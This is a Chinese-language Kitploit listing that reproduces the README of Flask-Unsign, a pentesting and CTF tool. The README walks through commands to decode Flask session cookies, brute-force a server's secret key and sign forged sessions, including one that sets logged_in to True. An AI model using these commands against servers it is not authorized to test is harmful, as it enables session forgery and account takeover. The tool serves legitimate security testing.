Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Flask-Unsign — 用于通过猜测密钥来获取、解码、暴力破解和伪造 Flask 应用程序会话 cookie 的命令行工具。 | Kitploit
工具/GitHubGitHub/paradoxis/flask-unsign
密码攻击Web应用程序漏洞利用CTF渗透测试
GitHubparadoxis/flask-unsign

Flask-Unsign

用于通过猜测密钥来获取、解码、暴力破解和伪造 Flask 应用程序会话 cookie 的命令行工具。

查看仓库网站
660481年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Flask Unsign

Build Status PyPI version codecov

用于通过猜测密钥来获取、解码、暴力破解和伪造 Flask 应用程序会话 cookie 的命令行工具。 对于独立的词表组件,请访问 flask-unsign-wordlist 仓库。

要求

  • Python 3.6+

安装

要安装该应用程序,只需使用 pip:

root@kitploit:~
$ pip3 install flask-unsign[wordlist]

如果只想安装核心代码,请省略 [wordlist] 后缀:

root@kitploit:~
$ pip3 install flask-unsign

要以开发为目的安装该工具,请(在下载副本后)运行以下命令:

root@kitploit:~
$ pip3 install -e .[test]

用法

要查看所有可用选项的概述,只需不带任何参数调用 flask-unsign,如下所示:

root@kitploit:~
$ flask-unsign

获取和解码会话 Cookie

由于 Flask cookie 是签名而非加密的,因此可以在本地解码会话数据。为此,可以使用 --decode 参数。

可以通过使用 Burp Proxy 等代理检查 HTTP 请求、使用浏览器的网络检查器或使用浏览器扩展来查看/更改 cookie,从而获取会话 cookie。默认情况下,Flask 使用会话名称 "session"。

root@kitploit:~
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}

你也可以通过传递 --server 参数而不是 --cookie 参数,使用 Flask-Unsign 的自动会话获取功能。但请注意,并非所有网页都会返回会话,因此请务必传入一个确实会返回会话的 URL。

root@kitploit:~
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}

解签(暴力破解密钥)

获取到示例会话 cookie 后,你便可以尝试暴力破解服务器的密钥。如果运气好,该密钥可能设置得很简单,或者如果它曾在网上泄露,可能就在你的某个词表中。为此,可以使用 --unsign 参数。

root@kitploit:~
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'

签名(会话篡改)

一旦获得服务器的密钥,你便可以构造自己的自定义会话数据。为此,可以使用 --sign 参数。

root@kitploit:~
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU

故障排除

  • 安装程序时出错
    • 你可能使用了错误的 pip 二进制文件,请尝试使用以下命令:python3.6 -m pip install flask-unsign
  • 我找到了密钥,但构造的会话不起作用!
    • 你的目标服务器可能使用了较旧版本的 itsdangerous。由于一个与定时会话相关的问题,时间戳生成算法已更改。要生成旧版签名,请尝试使用 --legacy 选项。
  • 我的词表不起作用
    • 词表需要以换行符分隔的 python 字符串 形式提供(也就是说需要用引号将其括起来),这样二进制字符串就可以轻松地以换行格式存储。如果不希望这样,可以通过传递 --no-literal-eval 参数来禁用此功能。

工作原理

如果你想知道这具体是如何工作的,请参阅我的博客文章,其中详细解释了这一点,并包含如何保护你自己的服务器免受此攻击的指南。

许可证

MIT 许可证

版权所有 (c) 2021 Luke Paris (Paradoxis)

特此免费授予任何获得本软件及相关文档文件(“软件”)副本的人,不受限制地处理本软件,包括但不限于使用、复制、修改、合并、发布、分发、再许可和/或出售软件副本的权利,并允许获得软件的人在满足以下条件的情况下这样做:

上述版权声明和本许可声明应包含在本软件的所有副本或主要部分中。

本软件按“原样”提供,不提供任何明示或暗示的担保,包括但不限于适销性、特定用途适用性和非侵权性的担保。在任何情况下,作者或版权持有人均不对任何索赔、损害或其他责任负责,无论该责任是基于合同、侵权或其他方式,也不论是否由本软件或本软件的使用或其他处理引起或与之相关。

下载工具